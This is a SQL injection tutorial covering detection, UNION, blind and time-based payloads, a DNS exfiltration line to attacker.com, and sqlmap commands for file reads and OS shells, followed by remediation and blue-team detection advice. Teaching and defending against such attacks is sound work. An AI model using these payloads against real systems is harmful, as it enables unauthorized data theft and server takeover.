SQL injection is twenty-five years old and still in the OWASP Top 10. This guide covers detection, exploitation, automation with sqlmap, and modern defenses — with examples that work on real, modern stacks.

Detection: The First Tick

The classic single-quote test still works against bad code:

GET /products?id=1' HTTP/1.1

But modern apps fail silently. Better detection:

  1. Boolean differentialid=1 AND 1=1 vs id=1 AND 1=2. Different responses → likely SQLi.
  2. Time-basedid=1; SELECT pg_sleep(5)--. If response time differs by ~5s, time-based blind SQLi is in play.
  3. Error-based — submit garbage and inspect responses for stack traces, ODBC errors, or column-count mismatches.

Union-Based Exploitation

Once you have an injection point that reflects data, UNION SELECT is the fastest path to dumping a database.

-- Step 1: find column count
?id=1 ORDER BY 1--
?id=1 ORDER BY 2--
?id=1 ORDER BY 3--   -- error → 2 columns

-- Step 2: confirm reflectable columns
?id=-1 UNION SELECT 1,2--    -- which numbers appear in the page?

-- Step 3: enumerate schema
?id=-1 UNION SELECT table_name, NULL FROM information_schema.tables--

-- Step 4: dump
?id=-1 UNION SELECT username, password FROM users--

Blind SQLi — Boolean

When no data reflects but the response differs for true vs false conditions:

?id=1 AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a'--

Iterate character-by-character. Hand this to sqlmap unless you’re in a CTF.

Blind SQLi — Time-Based

When no data reflects and responses look identical:

-- MySQL
?id=1 AND IF(SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a', SLEEP(5), 0)--

-- PostgreSQL
?id=1 AND CASE WHEN (SELECT 1 FROM users WHERE password LIKE 'a%') THEN pg_sleep(5) ELSE pg_sleep(0) END--

-- MSSQL
?id=1; IF (SUBSTRING((SELECT TOP 1 password FROM users),1,1)='a') WAITFOR DELAY '0:0:5'--

Out-of-Band (OOB)

When you have no in-band feedback, exfiltrate via DNS or HTTP from the database server itself.

-- MSSQL — DNS exfil via xp_dirtree
'; EXEC master..xp_dirtree '\\' + (SELECT TOP 1 password FROM users) + '.attacker.com\share'--

sqlmap — Use It Right

# Test a single parameter, save the session
sqlmap -u "https://target/api/items?id=1" \
       -p id --batch --random-agent \
       --level=3 --risk=2 \
       --dbms=postgresql

# POST data
sqlmap -u "https://target/login" --data="user=admin&pass=test" \
       -p user --batch

# Cookie injection
sqlmap -u "https://target/" --cookie="session=abc123" -p session --level=3

# Read a file
sqlmap -u "..." --file-read=/etc/passwd

# Pop a shell on MySQL with FILE_PRIV
sqlmap -u "..." --os-shell
Always have written authorization sqlmap can — and will — write to disk, escalate to OS commands, and dump entire databases. Outside of a contracted engagement, these features cross legal lines fast. Stick to --batch --technique=B --risk=1 --level=1 until you have explicit written scope.

Remediation

Parameterized queries. That’s it. Stored procedures help, escaping doesn’t (escape functions miss edge cases like wide-byte encoding and quote-stripping ORMs). Database least-privilege limits blast radius — your web service user should never own xp_cmdshell or pg_execute_server_program.

// Vulnerable
db.query(`SELECT * FROM users WHERE id = ${userId}`)

// Safe
db.query('SELECT * FROM users WHERE id = $1', [userId])

Detection in the Blue Team

  • WAF rules: ModSecurity CRS catches the common patterns but can be bypassed by encoding and case variation.
  • DB audit logs: PostgreSQL pgaudit, MySQL general_log. Forward to SIEM and alert on UNION SELECT, information_schema, pg_sleep, WAITFOR DELAY.
  • Anomaly on query shape: query parsers (Datadog DBM, others) hash query templates — alert when a new template appears from a web app.

References